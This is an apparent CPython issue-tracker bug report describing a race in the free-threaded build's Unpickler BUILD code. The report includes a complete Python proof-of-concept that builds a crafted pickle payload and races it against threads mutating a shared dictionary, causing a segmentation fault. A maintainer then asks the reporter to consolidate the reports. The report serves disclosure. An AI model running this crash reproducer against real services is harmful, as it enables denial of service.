Unpickler BUILD can traverse a concurrently mutated shared state dictionary

[Nievesjyl]

Description

The ordinary-state and slot-state loops in _pickle.load_build() traverse their state dictionary with PyDict_Next() without a critical section or owned snapshot. A reduction can supply an existing dictionary shared with other threads, so key-set changes can invalidate traversal and replacements can reclaim borrowed keys or values before assignment.

Observed Behavior

On a free-threaded build, ordinary-state mode terminates with SIGSEGV in about 0.23 seconds and slot-state mode in about 0.15 seconds. Both compatibility-GIL controls complete normally.

Affected Version

CPython 3.14.7 at commit 823f0323ee6ec1402088b73bce1a38473cac36dc, using the free-threaded build with PYTHON_GIL=0.

Reproduction

Run both modes:

PYTHON_GIL=0 python3.14t poc/reproduce.py 10 state
PYTHON_GIL=0 python3.14t poc/reproduce.py 10 slot

PoC Source Code

poc/reproduce.py:

#!/usr/bin/env python3
"""Race Unpickler BUILD iteration with mutation of its shared state dict."""

import pickle
import sys
import threading
import time


MODE = sys.argv[2] if len(sys.argv) > 2 else "state"
if MODE not in {"state", "slot"}:
    raise ValueError("mode must be 'state' or 'slot'")

SHARED = {f"field_{i}": object() for i in range(4096)}
KEYS = tuple(SHARED)
STOP = threading.Event()
FAILURES = []


def get_shared():
    return SHARED


class SharedState(dict):
    def __reduce__(self):
        return get_shared, ()


class Victim:
    def __reduce__(self):
        state = SharedState()
        if MODE == "slot":
            state = (None, state)
        return Victim, (), state


PAYLOAD = pickle.dumps(Victim(), protocol=2)


def mutate():
    while not STOP.is_set():
        SHARED.clear()
        SHARED.update({key: object() for key in KEYS})


def load_worker(deadline):
    count = 0
    try:
        while time.monotonic() < deadline and not STOP.is_set():
            obj = pickle.loads(PAYLOAD)
            count += 1
    except BaseException as exc:
        FAILURES.append((type(exc).__name__, repr(exc), count))
        STOP.set()


def main():
    seconds = float(sys.argv[1]) if len(sys.argv) > 1 else 10.0
    deadline = time.monotonic() + seconds
    threads = [threading.Thread(target=mutate) for _ in range(2)]
    threads += [threading.Thread(target=load_worker, args=(deadline,)) for _ in range(8)]
    for thread in threads:
        thread.start()
    for thread in threads[2:]:
        thread.join()
    STOP.set()
    for thread in threads[:2]:
        thread.join()
    print("mode=", MODE, "gil=", sys._is_gil_enabled(), "failures=", FAILURES)
    return bool(FAILURES)


raise SystemExit(main())

[ZeroIntensity]

Thanks for fuzzing. This is currently coming off as spam; please consolidate your bugs into a single gist and create a single issue to track them.